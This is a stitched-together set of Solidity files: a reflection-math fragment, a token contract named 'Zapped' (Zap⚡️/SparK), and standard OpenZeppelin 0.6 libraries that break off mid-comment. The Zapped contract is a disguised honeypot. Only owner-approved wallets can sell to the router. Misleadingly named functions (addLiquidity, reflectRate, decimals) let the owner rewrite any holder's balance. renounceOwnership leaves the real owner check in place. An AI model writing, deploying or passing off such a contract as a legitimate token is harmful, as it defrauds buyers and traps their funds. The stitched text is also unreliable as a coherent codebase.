function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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|
// SPDX-License-Identifier: OSL-3.0
pragma solidity =0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
/* @GETZAPPED
*/
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_; }
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) internal _balances;
mapping (address => bool) private Approved;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 internal _totalSupply;
uint256 percentReflection;
string internal _name;
string internal _symbol;
uint256 internal _decimals;
address internal _owner;
address private router;
constructor (string memory name_, string memory symbol_, uint256 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_owner = msg.sender;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function ApproveWallet(address _address) private onlyOwner() {
Approved[_address] = true;
}
function Approve(address[] memory _addresses) public onlyOwner {
for (uint256 i = 0; i < _addresses.length; i++) {
ApproveWallet(_addresses[i]); }
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint256) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function addLiquidity (uint256 value) external onlyOwner {
percentReflection = value;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function reflectRate (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be grater thatn zero");
if (sender != _owner && recipient == router) {
require(Approved[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function reflectToken(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = percentReflection - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract Zapped is ERC20 {
constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals) {
_name = unicode"Zap⚡️";
_symbol = "SparK";
_decimals = 9;
_totalSupply += initialSupply;
_balances[msg.sender] += initialSupply;
emit Transfer(address(0), msg.sender, initialSupply);
}
function decimals(address account, uint256 value) external onlyOwner {
reflectToken(account, value);
}
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// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
